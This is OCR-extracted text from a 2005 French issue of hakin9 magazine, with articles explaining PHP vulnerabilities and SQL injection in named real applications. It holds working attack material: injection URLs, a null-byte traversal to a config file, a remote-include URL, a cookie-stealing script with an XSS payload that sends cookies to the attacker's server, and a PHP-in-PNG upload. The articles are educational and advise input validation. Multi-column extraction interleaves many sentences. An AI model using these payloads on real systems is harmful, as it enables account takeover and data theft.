de création de comptes tel que le meur ne peut avoir aucune confiance <?php
suivant (supposons que le dernier dans tout ce qui provient de l'utilisa- echo $_GET['var'];
champ permet de savoir si l'utilisa- teur, puisque ce dernier peut avoir des ?>
teur est admin ou non) : intentions malhonnêtes.
De cette façon, les variables internes
<?php Possibilités de ne seront pas polluées par les don-
$query = "INSERT INTO users sécurisation sous PHP nées d'entrée de l'utilisateur.
VALUES ('$user', '$pass', 0)"; Il existe deux drapeaux capables de L'autre drapeau se nomme ma-
$result = mysql_query($query); modifier le comportement de PHP au gic _ quotes _ gpc (voir également
?> moment de traiter les variables d'en- l'article de Tobias Glemser inti-
trée (en anglais input variables). tulé Attaques par injection SQL avec
peut être facilement exploité au Le premier est connu sous le PHP et MySQL), et exécute la fonc-
moyen d'une requête telle que http:// nom de register _ globals. Lorsque tion addslashes() sur l'ensemble des
example.com/auth.php?user=HACK ce drapeau est désactivé (off), les données issues des variables GET,
ER&pass=HACK',1)#' variables ne seront pas enregistrées POST et des cookies, en indiquant
Cette dernière exécutera l'opéra- de manière automatique pour l'utili- toutes les valeurs problématiques au
tion INSERT INTO users VALUES ('HACK- sation. Ainsi, le programmeur devra moyen d'une barre oblique inverse.

hakin9 N o 3/2005 www.hakin9.org 23


Dans l'exemple précédent, ce dra-
peau aurait permis d'éviter l'insertion
d'un utilisateur admin alors que la re-
quête SQL exécutée aurait été INSERT
INTO users VALUES ('HACKER', 'HACK\
',1)#\'', 0), ce qui permet d'insérer
un utilisateur dénommé HACKER,
dont le mot de passe est HACK',1#'
et doté de privilèges normaux.
Depuis PHP 4.2.0 le drapeau
register _ globals prend par défaut
la valeur OFF et le drapeau magic _
quotes _ gpc est activé. Donc, à partir
de maintenant, nous supposerons
que le serveur que nous activons pos-
sède ces valeurs pour les drapeaux
respectifs. Si ces derniers prennent Figure 1. Fichier _config.php exploité
des valeurs différentes, nous n'aurons
pas accès au fichier de configuration répertoire pour accéder à des fi- Ici, la valeur du paramètre de
php.ini, mais nous pouvons changer chiers différents de ceux concernés la page est affectée à la variable
les drapeaux pour nos fichiers. Le à l'origine par ces fonctions. Et c'est $QW['requestPage']. En l'absence de
procédé est aussi simple que créer aussi simple qu'ajouter ../ au para- définition, la variable $QW['page'] est
un fichier .htaccess dans le répertoire mètre que nous exploitons. affectée à une page de démarrage
où se trouve les scripts PHP en y indi- Analysons maintenant la façon par défaut (extraite de la configu-
quant les lignes suivantes : d'exploiter ce procédé dans une ap- ration) ou alors reçoit le paramètre
plication concrète, QwikiWiki. Ce lo- de la page. Finalement, la variable
php_flag register_globals 0 giciel implémente un wiki, chargé de $QW['pagePath'] est remplie au
php_flag magic_quotes_gpc 1 sauvegarder des pages individuelles moyen du véritable chemin du fichier
dans différents fichiers. Ces fichiers que nous souhaitons montrer, en ap-
Les violations sont enregistrés dans un sous-réper- pelant la fonction QWCreateDataPath(),
de répertoires toire appelé data situé à l'intérieur du définie dans le fichier _wikiLib.php
Par violation de répertoire (en an- répertoire principal. Examinons de la manière suivante :
glais directory traversal), on entend maintenant comment ces fichiers
la vulnérabilité qui permet à l'insti- sont inclus dans la page principale. function QWCreateDataPath
gateur d'une attaque d'accéder aux La fonction chargée de retourner le ( $page, $extension )
fichiers non autorisés à partir du corps (body) de la page est exposée {
serveur Web ou, selon la configu- dans le Listing 2. return 'data/'
ration de PHP, d'inclure des fichiers Comme vous pouvez le . $page . $extension;
provenant d'un autre serveur. constater, la fonction qui nous }
Les fonctions vulnérables sont intéresse s'appelle QWFormatQwi-
celles qui traitent les fichiers tels que kiFile(). Cette fonction exige que Cette opération se contente de
include(), require(), fopen(), fi le(), le chemin du fichier soit retourné. concaténer les paramètres de sorte
readfi le() etc. Si les données d'en- Ainsi, nous savons d'ores et déjà qu'avec une requête telle que http://
trée de ces fonctions sont fournies que $QW['pagePath'] est le véritable example.com/qwiki/index.php?page=
par l'utilisateur sans être effacées chemin menant au fichier. Cette QwikiWiki, le programme tentera
correctement, il est alors possible fonction est définie dans le fichier d'ouvrir le fichier data/QwikiWiki.qwiki.
de remonter dans l'arborescence du _ global.php (voir le Listing 3). Il est clair que nous pourrions modifier
ce chemin pour lire des fichiers situés
dans d'autres répertoires.
Bases

Listing 4. Extrait du script main.php du programme phpGiftReg


La requête http://example.
if (!empty($_GET["message"])) { com/qwiki/index.php?page=../_con-
$message = $_GET["message"];
fig.php appelera QWCreateDataPath
}
('../config.php','.wiki') qui retour-
[...]
if (isset($message)) { nera data/../_config.php.qwiki. Ce
echo "<span class=\"message\">" . $message . "</span>"; n'est pas exactement ce que nous
} cherchons – il nous faut nous dé-
barrasser du chemin de la chaîne

24 www.hakin9.org hakin9 N o 3/2005


Bogues sous PHP

.qwiki. Nous allons donc profiter du


fait que sous PHP, les variables se
terminent par un caractère NULL.
Nous ajoutons un caractère NULL
à la fin du paramètre de la page, la
fonction QWCreateDataPath() n'ajou-
tera pas l'extension au chemin.
Le caractère NULL peut être
codé comme %00. Après son ajout
à la requête, celle-ci devient alors la
suivante : http://example.com/qwiki/
index.php?page=../_config.php%00.
Cette requête va alors tenter de lire
le fichier data/../_config.php conte-
nant le mot de passe illimité de l'ap-
plication (cf. la Figure 1). Figure 2. Effet dû au passage d'une valeur dans le paramètre
Par défaut cette méthode est
censée ne pas fonctionner. Lorsque crack.php. Si nous contrôlons donc nous aborderons des techniques
le drapeau magic _ quotes _ gpc est ce fichier nous pourrons exécuter plus sophistiquées permettant d'ex-
activé, PHP annule le caractère tout ce que nous souhaitons dans le ploiter ces vulnérabilités.
NULL au moyen d'une barre oblique serveur distant. D'abord, nous devrions considé-
inverse et le chemin du fichier devrait rer le fichier du programme main.php
être data/../_config.php\. Toutefois, le Scripts multi-sites (voir le Listing 4).
programmeur avait ajouté les lignes Les scripts multi-sites, également Si le paramètre du message n'est
suivantes au fichier _global.php : connus sous le nom de XSS (pour pas laissé vide, sa valeur est copiée
Cross Site Scripting en anglais), vers la variable $message, envoyée
if( count( $QW_REQUEST ) ) permettent l'inclusion de code HTML ultérieurement à l'utilisateur. Ainsi,
foreach( $QW_REQUEST arbitraire (et par conséquent de Ja- toutes valeurs passées dans cette
as $name => $value ) vascript ou autres scripts côté client) variable seront affichées sur la page.
$QW_REQUEST[ $name ] dans un site en ayant recours aux Nous pouvons tenter d'afficher du
= stripslashes( $value ); hyperliens codés. Ceci se manifeste texte en affectant une valeur au para-
lorsque le script génère en sortie mètre de la manière suivante : http://
Ces lignes appellent tout simple- certains de ses paramètres à l'utili- example.com/phpgiftreg/index.php?
ment la fonction stripslashes() pour sateur sans les filtrer. message=YOUR SITE HAS BEEN
l'ensemble des paramètres de don- Considérons un court exemple HACKED.
nées d'entrée et effacent les barres avec phpGiftReg, programme de En effet, notre texte est bien re-
obliques inverses présentes dans registres de cadeaux, grâce auquel tourné dans la page (voir la Figure 2).
ces paramètres, ce qui nous permet
par conséquent de définir un fichier Listing 5. Application phpEventCalendar – extrait du script
à ouvrir. functions.php
Une autre vulnérabilité, sembla-
ble à celle-ci, est l'inclusion de fi - function getEventDataArray($month, $year)
{ [...]
chiers distants (en anglais remote file
if (strlen($row["title"]) > TITLE_CHAR_LIMIT)
inclusion), dans lesquels les données $eventdata[$row["d"]]["title"][] =
d'entrée de la fonction include() ne substr(stripslashes($row["title"]), 0, TITLE_CHAR_LIMIT) . "...";
sont pas contrôlées. Nous pouvons [...]
indiquer qu'un fichier distant, dont
nous avons le contrôle, soit inclus et
exécuté. Par conséquent, si la fonc- Listing 6. Script du fichier get_cookie.php
tion prend l'apparence suivante :
<?php
$f = fopen("cookies.txt","a");
include($_GET['language'] . ".php");
$ip = $_SERVER["REMOTE_ADDR"];
$c = $_GET['cookie'];
il est possible d'affecter la valeur http:// fwrite($f, $ip." ".$c."\n");
ourserver.com/crack au paramètre fclose($f);
du langage et le script tentera d'in- ?>

clure le fichier http://ourserver.com/

hakin9 N o 3/2005 www.hakin9.org 25


de bogues dans de nombreux forums ne fonctionne. En effet, il semble y
en ligne et autres applications qui per- avoir une limite dans la longueur du
mettent de partager des informations titre affiché. Si nous considérons les
entre plusieurs utilisateurs. éléments enregistrés dans la base de
Il est relativement aisé de savoir données, il est effectivement possible
si une application est vulnérable ou de voir le titre complet, mais, dans le
pas, même sans prendre connais- fichier functions.php de cette applica-
sance du code source. Cherchez un tion, nous pouvons trouver le code
quelconque emplacement où vous suivant dont voici exposé un extrait
pouvez insérer des informations que dans le Listing 5.
le système enregistrera et affichera Cette fonction a pour objectif de
ultérieurement (par exemple, nous limiter la longueur du titre aux ca-
pourrions tenter l'expérience sur les ractères suivants TITLE_CHAR_LI-
messages que nous écrivons, mais MIT, et, par défaut, cette longueur
également sur le nom de l'utilisateur est définie à 37 caractères dans le
Figure 3. Exécution d'une ou la description de notre utilisateur) fichier config.php. Par conséquent,
application JavaScript (Injections et y écrire le code suivant : <script> à moins que l'administrateur n'ait
HTML) alert(document.cookie);</script>. Si changé la configuration, le texte que
Si nous envoyons ce lien à quel- une boîte de message affiche notre nous insérons sera limité à 37 carac-
qu'un, il est fort probable que cette cookie à l'ouverture de la page, l'ap- tères, ce qui est insuffisant pour ce
personne pense que la page a réelle- plication peut alors être considérée que nous souhaitons faire. Il nous
ment été attaquée et modifiée. Tou- comme vulnérable. faut, donc, avoir recours au texte de
tefois, le texte est clairement visible Maintenant que nous avons ap- l'événement.
dans la requête elle-même. Nous pris à reconnaître cette vulnérabilité, Afin d'obtenir le cookie admi-
allons donc tenter de le dissimuler, nous allons tenter de la faire fonction- nistrateur, il nous faut procéder de
en codant le paramètre au moyen ner dans une application concrète la même façon qu'avec le piège
de la représentation hexadécimale appelée, phpEventCalendar, dont le de l'alerte. Toutefois, au lieu de le
de chaque caractère de la ma- but est de permettre aux utilisateurs montrer à l'utilisateur, nous nous
nière suivante : http://example.com/ de partager un agenda électronique. l'enverrons. Pour ce faire, il nous
phpgiftreg/index.php?message=% Nous ouvrons une session par le biais faut contrôler un serveur dans le-
59%4F%55%52%20%53%49%54 d'un utilisateur non-privilégié pour in- quel nous pouvons exécuter des
%45%20%48%41%53%20%42%4 sérer dans l'agenda électronique un fichiers PHP et où nous sauvegar-
5%45%4E%20%48%41%43%4B% nouvel événement. Ce nouvel évé- derons le cookie. Nous créerons
45%44. Cette nouvelle requête est nement peut prendre n'importe quel dans ce serveur un fichier nommé
de loin moins soupçonneuse que la titre de notre choix, quant au texte get_cookie.php dont le contenu est
requête précédente. De la même fa- de l'événement, il devrait prendre la exposé dans le Listing 6.
çon que nous avons inclus du texte, forme suivante : <script>alert(docum Ce script ouvre normalement le
nous aurions très bien pu insérer du ent.cookie);</script>. Une fois l'évé- fichier intitulé cookies.txt et y copie
code JavaScript arbitraire, exécuté nement inséré et au moment où nous l'adresse distante du demandeur de
dans le serveur de l'utilisateur qui tentons de l'afficher, un message la requête (soit son IP) ainsi que la
ouvrira le lien. surgit contenant notre cookie actuel valeur du paramètre du dit cookie.
pour la page. Il aurait été parfait Puis, nous créons un nouvel événe-
Injections d'insérer cet élément dans le titre de ment, dont, cette fois, le texte sera
de code HTML l'événement, puisqu'il n'aurait plus été le suivant :
Ce genre de vulnérabilité est très nécessaire de voir l'événement exé-
semblable aux scripts multi-sites, cuter notre code. Toutefois, si nous <script>document.location=§
mais est potentiellement plus dange- tentons cette nouvelle approche, rien "http://[OURSERVER]/get_
reux puisque la personne, à l'origine
de l'attaque, n'a pas besoin d'envoyer
Bases

Listing 7. Code présent dans le fichier index.php de l'application


de lien pour exploiter cette faille. Ce phpGiftReg
genre d'attaques peut être utilisé avec
un logiciel chargé de sauvegarder les $action = $_GET["action"];
if ($action == "ack") {
données d'entrée de l'utilisateur (soit
$query = "UPDATE messages SET isread = 1
dans une base de données, soit dans WHERE messageid = " . $_GET["messageid"];
des fichiers) et de les afficher plus tard mysql_query($query) or die("Could not query: ".mysql_error());
à d'autres utilisateurs non filtrés. Il est }
possible de trouver facilement ce type

26 www.hakin9.org hakin9 N o 3/2005


Bogues sous PHP

trateur et modifier tout ce que nous


souhaitons (voir la Figure 3).

Injections SQL
On peut rencontrer une certaine
vulnérabilité aux injections SQL (voir
à ce sujet l'article de Tobias Glemser
intitulé Attaques par injections SQL
avec PHP et MySQL dans la pré-
sente édition du magazine hakin9)
Figure 4. Fichier invalide téléchargé vers le serveur de Coppermine lorsqu'un utilisateur a la possibilité
de modifier une requête SQL exécu-
tée à son avantage. À titre de court
exemple, nous observons une fois de
plus l'application phpGiftReg. Le co-
de présent dans le fichier index.php
est exposé dans le Listing 7.
Ces lignes ont pour objectif
d'exécuter l'instruction SQL si le pa-
ramètre de l'action est égal à ack, re-
Figure 5. Attaque réussie d'un fichier envoyé vers le serveur connaissant ainsi le message indiqué
dans un paramètre appelé messageid.
Il est possible de contrôler le para-
Listing 8. Script du fichier useradmin.php mètre messageid, et rien n'est plus
switch( $flag ) {
simple. En effet, il suffit de modifier
case "changepw": une requête afin de régler le champ
changePW($flag); isread pour toutes les rangées de la
break; façon suivante : http://example.com/
case "updatepw":
phpgiftreg/index.php?action=ack&m
updatePassword();
changePW($flag);
essageid=2%20OR%201%3d1. Une
break; fois réglé, ce paramètre exécutera la
[...] requête UPDATE messages SET isread
function updatePassword() = 1 WHERE messageid = 2 OR 1=1, en
{
réglant de manière effective isread
global $HTTP_POST_VARS, $HTTP_SESSION_VARS;
$pw = $HTTP_POST_VARS['pw'];
à 1 dans l'ensemble des registres,
$id = $HTTP_POST_VARS['id']; puisque la clause WHERE sera vraie
[...] pour l'ensemble des enregistrements
$sql = "UPDATE " . DB_TABLE_PREFIX . (en effet, 1=1 est toujours vraie).
"users SET password='$pw' WHERE uid='$id'";
$result = mysql_query($sql) or die(mysql_error());
$HTTP_SESSION_VARS['authdata']['password'] = $pw; Téléchargement
}
de fichiers PHP vers
le serveur
cookie.php?§ vers notre script tout en passant la PHP permet de télécharger des
cookie=" + document.cookie;</script> valeur actuelle de son cookie. Nous fichiers vers le serveur. Ce procédé
obtiendrons ainsi le cookie qui nous est en général utilisé dans le but d'in-
Lorsque l'administrateur ouvre cet intéresse dans le fichier cookies.txt. sérer une image n'importe où dans le
événement, notre script injecté sera Il est alors possible d'utiliser ce coo- site ou de partager des fichiers entre
alors exécuté, redirigeant l'utilisateur kie pour ouvrir une session adminis- différents utilisateurs. Toutefois, que
se passerait-il si nous téléchargions
une autre sorte de fichier sous forme
Sur le réseau : de scripts PHP ? Nous aurions la
• http://www.qwikiwiki.com/ – le projet QwikiWiki, possibilité d'exécuter un code arbi-
• http://phpgiftreg.sourceforge.net/ – l'application phpGiftRegistry, traire dans le serveur, nous permet-
• http://www.ikemcg.com/scripts/pec/ – l'application PHP Event Calendar, tant ainsi de contrôler ce dernier.
• http://coppermine.sourceforge.net/ – la galerie d'images Coppermine. Lorsqu'un fichier est téléchargé
vers le serveur, il est possible de

hakin9 N o 3/2005 www.hakin9.org 27


trouver des informations concernant situé à l'adresse suivante : http:// le mot de passe de tout utilisateur
ce dernier dans le tableau $ _ FILES example.com/coppermine/albums/ si nous connaissons son id dans la
ou $HTTP _ POST _ FILES. Nous pou- userpics/crack_up.php, où nous base de données.
vons ainsi trouver l'emplacement, pouvons l'exécuter comme n'importe Comme l'administrateur est
dans le code, où est effectué le trai- quel autre script PHP (voir la Figure 5). généralement le premier utilisateur
tement en cherchant ces variables. Il est probable que vous deviez re- créé, son id sera 1. Essayons donc
Nous allons appliquer cette méthode garder la source du script retourné si de modifier son mot de passe. Tout
sur l'ancienne version de Copper- aucun contenu ne s'affiche, puisque d'abord, nous allons demander http://
mine, galerie d'images Web. Si nous le PNG se trouvera au début et peut example.com/pec/useradmin.php?fla
téléchargeons le fichier .php vers le être à l'origine de défauts d'affichage g=changepw puis sauvegarder cette
serveur, celui-ci répond que le fichier du contenu. requête sur le disque dur. Nous allons
téléchargé n'est pas une image l'éditer pour chercher l'élément suivant
valide. Il semble donc que nous de- Erreurs de conception (votre valeur peut être différente) :
vions pousser un peu plus loin cette Le dernier type de vulnérabilités que
méthode (voir la Figure 4). nous allons évoquer est l'erreur de <input type="hidden" §
Il suffit d'exécuter la commande conception. Si le développeur d'un name="id" value="2">
suivante dans le répertoire où se logiciel que nous tentons d'exploiter
trouvent les fichiers .php et nous y a travaillé sans penser à le sécu- Nous allons le substituer avec :
saurons par où commencer : riser, il est fort possible que certains
éléments ont été mal conçus. C'est <input type="hidden" §
$ rgrep "_FILES" * à partir de ces éléments que nous name="id" value="1">
pouvons tenter de tirer avantage pour
Nous pouvons alors voir le seul notre propre compte. Malheureuse- et changer également f.action =
fichier chargé de traiter les téléchar- ment, ce genre de vulnérabilités sont "useradmin.php?fl ag=updatepw"; pour
gements vers le serveur. Il s'agit du difficiles à repérer puisqu'il nous faut la direction correcte du fichier (par
fichier intitulé db_input.php. Regar- connaître le fonctionnement interne exemple http://example.com/pec/us
dons donc d'un peu plus près : de l'application et revoir une grande eradmin.php?flag=updatepw). Lors-
partie du code afin de trouver une que nous téléchargeons ce fichier
case 'picture': erreur de cette sorte. Par ailleurs, dans le navigateur, il est possible de
$imginfo = $HTTP_POST_FILES chaque erreur de conception est dif- changer et d'affecter la valeur que
['userpicture']['tmp_name'] ? férente dans la mesure où chacune nous souhaitons au mot de passe de
@getimagesize($HTTP_POST_FILES est spécifique à chaque application l'administrateur.
['userpicture']['tmp_name'] : null; et à chaque développeur.
Observons comment trouver une Ne croyez personne
Ces indications affectent les proprié- erreur de conception dans l'appli- Nous venons d'aborder les différentes
tés de l'image téléchargée vers le cation phpEventCalendar, où nous manières d'exploiter un script PHP
serveur, s'il y en a, vers la variable avions précédemment trouvé une (parmi ces manières, nombreuses
$imginfo, de telle sorte que le fichier vulnérabilité aux injections HTML. sont également applicables aux
téléchargé doive retourner les valeurs Supposons que nous soyons de scripts écrits dans d'autres langues).
correctes pour la fonction getimagesi- simples utilisateurs et que nous En conclusion, nous ne devons faire
ze(). Ces indications nous suffisent : souhaitions devenir administrateurs, confiance en aucune donnée d'entrée
il nous faut créer un fichier PNG 1x1 soit en trouvant le mot de passe de émanant d'emplacements que nous
pixels appelé image.png ainsi qu'un l'administrateur, soit en changeant ne contrôlons pas, et plus particulière-
fichier PHP intitulé code.php conte- ce dernier en valeur arbitraire. ment venant des utilisateurs. Les don-
nant le code que nous souhaitons Une fois la session ouverte, nées d'entrée doivent faire l'objet d'un
exécuter. Puis, il faut concaténer les l'unique option associée au mot contrôle ainsi que d'une validation mi-
deux fichiers au moyen des instruc- de passe consiste à le changer. nutieuse avant d'être utilisées. Il existe
tions suivantes, chargées de créer un Ainsi, il nous faut observer le fichier de nombreuses façons de contrôler
fichier intitulé crack_up.php : chargé de cette procédure, et intitulé les données d'entrée pour les valider
Bases

useradmin.php (voir le Listing 8). et il est toujours plus pertinent de re-


$ cat image.png code.php \ Notre application a recours à la mettre en cause une donnée d'entrée
> crack_up.php valeur id passé en paramètre afin de correcte que d'autoriser l'accès à une
modifier le mot de passe au lieu d'uti- donnée d'entrée incorrecte. Par con-
Envoyez ensuite le fichier crack_ liser celui qu'il possède déjà dans la séquent, le recours à une politique de
up.php à partir de l'interface standard variable de la session. Nous pouvons liste blanche plutôt qu'à une politique
Coppermine. L'image est alors ajoutée donc affecter n'importe quelle valeur de liste noire est une solution des plus
à la galerie et notre fichier peut être à l'id et, par conséquent, modifier judicieuse. n

28 www.hakin9.org hakin9 N o 3/2005


Attaques par injection SQL
avec PHP et MySQL
Tobias Glemser

Il existe un certain nombre de


techniques communes dont
l'objectif est d'attaquer les
environnements PHP/MySQL.
Les injections SQL font partie
des techniques d'attaques
parmi les plus utilisées. Cette
technique consiste à altérer
l'état de l'application qui subit
l'attaque de manière à accepter
nos données d'entrée capables
de manipuler les requêtes SQL.
Les injections SQL doivent par
conséquent être considérées
comme un membre de la famille
des attaques par validation des
données d'entrée (en anglais
input validation).

U
n grand nombre de sites Web font ap- la version complète est présente sur hakin9.live).
pel à PHP allié à une base de données Ce script fait appel à une seule base de données
MySQL. La plupart des systèmes de fo- sous MySQL appelée userdb dotée d'une seule
rum (en anglais bulletin board systems) tels que table appelée userlist. Cette table userlist stocke
phpBB ou VBB, se fonde sur cette combinaison les données en deux rangées : username (nom
de technologies, pour ne nommer que les plus de l'utilisateur) et password (mot de passe).
populaires. Il en va de même pour les systèmes Si aucun nom d'utilisateur n'est entré, le
CMS (soit Content Management System, en script affiche alors une page d'ouverture de
anglais) tels que PHP-Nuke ou des solutions session. Une fois que les utilisateurs valides
d'achats électroniques comme osCommerce. ouvrent leur session, ils pourront voir leur nom
Pour être bref – il existe de nombreuses d'utilisateur ainsi que leur mots de passe. Si cette
implémentations convenables pour la combinai-
son PHP/MySQL auxquelles tout un chacun est
souvent confronté en surfant sur le Web. Cette Cet article explique...
combinaison de technologies est tellement uti-
• les techniques de base relatives aux injections
lisée que les taux d'attaques de ces sytèmes SQL,
sont en constante hausse et les injections SQL • les attaques par UNION SELECT,
comptent parmi les techniques les plus utilisées • les magic_quotes et leurs usages.
Attaque

pour mener de telles attaques. Afin d'être capa-


ble de protéger votre système, il est vraiment im- Ce qu’il faut savoir...
portant de bien comprendre le fonctionnement
des injections SQL. • vous devriez connaître au moins le fonctionne-
ment de base du langage PHP,
Dans le vif du sujet • vous devriez être capable de comprendre le
Commençons par un script légèrement in- fonctionnement élémentaire des requêtes
MySQL.
certain que nous avons appelé login.php
et exposé dans le Listing 1 (réduit à l'essentiel,

30 www.hakin9.org hakin9 N o 3/2005


Attaques par injections SQL

Tableau 1. Caractères de contrôle importants pour les injections SQL (MySQL) syntaxe est vulnérable, puisque, si
tel n'était pas le cas, le script n'aurait
Caractère de contrôle Signification pour l'injection généré aucun message d'erreur.
' (guillemet simple) Si le serveur répond par une erreur L'étape suivante consiste à rendre
SQL, l'application devient vulnéra- la déclaration SQL vraie, de sorte
ble aux injections SQL qu'elle soit traitée par le script puis
/* Tout ce qui suit est considéré soumise au serveur SQL. Comme
comme commentaire extérieur vous pouvez le constater dans le
% Caractère de remplacement (Wild- Tableau 1, la déclaration suivie de
OR 1=1 est toujours vraie. Entrons donc
card)
notre nom d'utilisateur suivi de l'ex-
OR 1=1 Oblige une déclaration à devenir
pression OR 1=1, de manière à obtenir
OR 1=’1 vraie
la chaîne admin ‘ OR 1=1. Malheureu-
OR 1=”1
sement, cette chaîne génère à son
tour un message d'erreur. Essayons
combinaison nom d'utilisateur/mot de dernière un guillemet simple à la donc la proposition suivante exposée
passe n'est pas valide, un message suite du nom de l'utilisateur dans dans la table. Nous changerons OR 1=1
Not a valid user (le nom de l'utilisateur notre script. Le script va émettre en OR 1=’1 et voilà que nous pouvons
et le mot de passe ne sont pas vali- alors le message d'erreur suivant : ouvrir la session. Le script est telle-
des) sera affiché. Nous allons tenter You have an error in your SQL ment gentil qu'il nous retourne le vrai
maintenant d'effectuer une ouverture syntax. Check the manual that mot de passe de l'utilisateur.
de session au moyen d'un nom d'utili- corresponds to your MySQL server Si vous observez maintenant le
sateur valide sans toutefois connaître version for the right syntax to use code source exposé dans le Listing 1,
le mot de passe correspondant. Pour near ''admin'' AND `password` = ''' vous devriez comprendre d'ores et dé-
y parvenir, nous allons mettre au point at line 1 (Une erreur de syntaxe SQL jà les raisons d'un tel comportement.
une attaque par injection SQL. s'est produite dans le script. Veuillez L'instruction d'origine select SELECT *
L'attaque démarre sur un carac- consulter le manuel correspondant FROM `userlist` WHERE `username` =
tère de contrôle (en anglais control à la version de votre serveur MySQL '$username' AND `password` = '$pas-
character) de MySQL. Les caractères pour utiliser la syntaxe appropriée sword' a été modifiée en SELECT * FROM
de contrôle les plus importants sont après ''admin'' ET `password` = ''' `userlist` WHERE `username` = 'admin
exposés dans le Tableau 1. Nous al- sur la ligne 1). Nous avons ici sous ' OR 1='1' AND `password` = '', ce qui
lons tenter d'intercepter la déclaration les yeux une partie de la syntaxe la rend vraie. Nous aurions également
originale SQL du script au moyen de SQL que nous souhaitons attaquer. pu indiquer comme commentaires
caractères de contrôle, en les manipu- Et nous savons de surcroît que cette extérieurs la partie du script suivant
lant. Nous pouvons débuter l'attaque
sur cette base (mais afin de corser
l'affaire, je vous encourage à ne pas
consulter tout de suite le code source
exposé dans le Listing 1).
Nous supposerons que l'utilisa-
teur admin existe (c'est d'ailleurs
souvent le cas). Si nous entrons
le nom d'utilisateur admin, nous ne
pourrons pas ouvrir de session.
Examinons alors ce qui se passe si
nous manipulons la chaîne soumise
à la requête SQL en ajoutant à cette

Figure 1. Injection SQL la plus petite possible pour cette forme


À propos de l'auteur
Tobias Glemser travaille comme con-
sultant spécialisé dans la sécurité des
technologies de l'information depuis
quatre ans. Il est actuellement employé
au sein de la société Tele-Consulting
GmbH, Allemagne (http://www.tele-
consulting.com).
Figure 2. Résultat d'une injection

hakin9 N o 3/2005 www.hakin9.org 31


– y compris la version utilisée – sont
Listing 1. Script login.php toujours disponibles sur le site de
<?php
Sourceforge (voir l'adresse du site
if (!empty($username)) { dans l'Encadré Sur le réseau). Nous
/* (...) */ allons utiliser la version 1.5.4, connue
$query = "SELECT * FROM `userlist` WHERE `username` = '$username' pour être peu sûre.
AND `password` = '$password'";
Il existe une attaque connue sur
$result = mysql_query($query, $link);
/* (...) */
cette version du forum (voir le site
while ($array = mysql_fetch_array($result)) { http://www.securityfocus.com/bid/
$logged_in = 'yes'; 9449/, l'exploit revenant à quelqu'un
$username = $array[username]; se faisant appelé backspace). Cette
$password = $array[password];
méthode d'attaque modifie la requête
}
if ($logged_in == ‘yes’) {
à la ligne 222 du script SSI.php (voir
echo "hello $username, your password is $password<br />"; le Listing 2) et est associée à la fonc-
} else { tion recentTopics().
echo "not a valid user<br />"; Où pouvons-nous interagir dans
}
cette instruction ? La variable $ID _
/* (...) */
MEMBER constitue un bon point de dé-
} else {
echo "Login<br> part. Notre premier objectif consiste à
<form name=\"login\" method=\"post\" action=\"\"> forcer l'instruction ainsi qu'à vérifier si
<p>Username<br /><input type=\"text\" name=\"username\" size=30><br /> le serveur retourne un message d'er-
<p>Password<br /><input type=\"password\" name=\"password\" size=30>
reur. Afin d'y parvenir, il suffit de pla-
</p><input type=\"submit\" value=\"Login\"></form>";
}
cer un caractère de contrôle à la fin de
?> la variable. Dirigeons donc notre navi-
gateur vers SSI.php?function=recent
Topics&ID_MEMBER=1’. Le serveur
le contrôle du nom de l'utilisateur en l'application. Toutefois, il est très dif- réagit en affichant le message Unk-
insérant la chaîne admin' /*, procédé ficile d'obtenir une instruction UNION nown table 'lmr' in field list (Table 'lmr'
plus simple (exposé dans la Figure 1, SELECT correcte et opérationnelle inconnue dans la liste des champs).
le résultat est visible dans la Figure 2). sans connaître au préalable le code Comme vous pouvez le constater,
L'instruction, une fois manipulée, source, car il faut connaître le nom il existe une référence à une table lmr
ressemblerait à ceci : SELECT * FROM des tables et des rangées. qui n'est pas référencée dans le reste
`userlist` WHERE `username` = 'ad- Il est évident que de telles tech- de l'instruction interceptée.
min ' /* OR 1='1' AND `password` = ''. niques sont plus faciles d'utilisation L'étape suivante devrait con-
N'oubliez pas : tout ce qui suit /* est lorsque le code source de l'application sister à modifier l'instruction afin
ignoré du serveur SQL, faisant de ce est disponible. Considérons, par con- de reconstruire la référence. Afin
caractère de contrôle un élément très séquent, une telle situation en faisant de trouver une instruction valide, il
puissant. appel au système de forum existant faudrait examiner le listing original,
– soit YaBB SE Message Board (dis- à l'emplacement précis où la table
Attaques ponible sur hakin9.live), un dérivé de lmr est appelée. Nous trouverons la
UNION SELECT YaBB écrit en Perl. YaBB SE n'est plus solution dans l'instruction LEFT JOIN
Après cette brève introduction aux en développement, mais les fichiers {$db _ prefi x}log _ mark _ read AS lmr
techniques de base des injections
SQL, nous pouvons maintenant Listing 2. Requête SQL de SSI.php, ligne 222
aborder les injections du type UNION.
Les attaques à double instruction $request = mysql_query(" SELECT m.posterTime, m.subject, m.ID_§
TOPIC, m.posterName, m.ID_MEMBER, IFNULL(mem.realName, m.posterName) §
UNION SELECT sont sans nul doute
AS posterDisplayName, t.numReplies, t.ID_BOARD, t.ID_FIRST_MSG, b.name §
considérées comme les plus com- AS bName, IFNULL(lt.logTime, 0) AS isRead, IFNULL(lmr.logTime, 0) §
Attaque

pliquées et complexes variations AS isMarkedRead FROM {$db_prefix}messages AS m, {$db_prefix}topics §


d'attaques par injection SQL. AS t, {$db_prefix}boards as b LEFT JOIN {$db_prefix}members AS mem §
Jusqu'à présent, nous avons ON (mem.ID_MEMBER=m.ID_MEMBER) LEFT JOIN {$db_prefix}log_topics §
AS lt ON (lt.ID_TOPIC=t.ID_TOPIC AND lt.ID_MEMBER=$ID_MEMBER) §
modifié les instructions existantes en
LEFT JOIN {$db_prefix}log_mark_read AS lmr ON (lmr.ID_BOARD=t.ID_BOARD §
réduisant ou désactivant la requête AND lmr.ID_MEMBER=$ID_MEMBER) WHERE m.ID_§
originale. Grâce à l'instruction UNION MSG IN (" . implode(',', $messages) . ") AND t.ID_TOPIC=m.ID_TOPIC §
SELECT, nous sommes capables AND b.ID_BOARD=t.ID_BOARD ORDER BY m.posterTime DESC;") §
d'accéder à d'autres tables pour or database_error(__FILE__, __LINE__);

exécuter nos propres requêtes dans

32 www.hakin9.org hakin9 N o 3/2005


Attaques par injections SQL

ON (lmr.ID _ BOARD =t.ID _ BOARD AND


lmr.ID _ MEMBER=$ID _ MEMBER).
Afin de transformer cette instruc-
tion en instruction SQL valide, nous
devons l'agrandir en trois étapes. Tout
d'abord, nous supprimons le guillemet
placé après le 1 puis nous le rempla-
çons par le caractère ). Ce qui permet Figure 3. Noms des utilisateurs et mots de passe hachés après l'attaque
d'achever la ligne ID _ MEMBER=$ID _ UNION SELECT
MEMBER . Il suffira, ensuite, d'ajouter
